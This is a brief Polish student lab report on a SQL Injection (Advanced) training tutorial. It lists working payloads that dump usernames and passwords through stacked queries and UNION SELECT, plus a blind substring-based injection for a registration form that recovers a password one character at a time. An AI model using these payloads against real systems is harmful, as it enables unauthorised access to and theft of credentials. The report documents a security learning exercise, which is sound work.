

# RAPORT

## ZAD 6

Piotr Szymański

Zadanie

Wykonanie tutoriala odnośnie Injection Flaws

Wykonanie tutoriala: SQL Injection (Advanced)

W punkcie trzecim zdobycie danych za pomocą drugiego selecta jak i union:

1. `' or 1=1; SELECT * FROM user_system_data;--`
2. `' OR 1=1 UNION SELECT NULL, user_name, password, NULL, NULL, NULL, NULL FROM user_system_data;--`

W punkcie 5 wydobyć hasła za pomocą wysyłania specyficznego query w zakładce register:

`"tom' and substring(password,"+str(i)+",1) = '"+str(letters[j])+"' --"`

Napisanie skryptu w pythonie, który wysyła to zapytanie dla każdej litery na każdym miejscu, jeśli litera się zgadza to strona zwraca taki tekst:

`"User {0} already exists please try to register with a different username."`

Wtedy dodaję tą literkę do swojego stringa, który jest tworzącym się hasłem .

I dostaję hasło.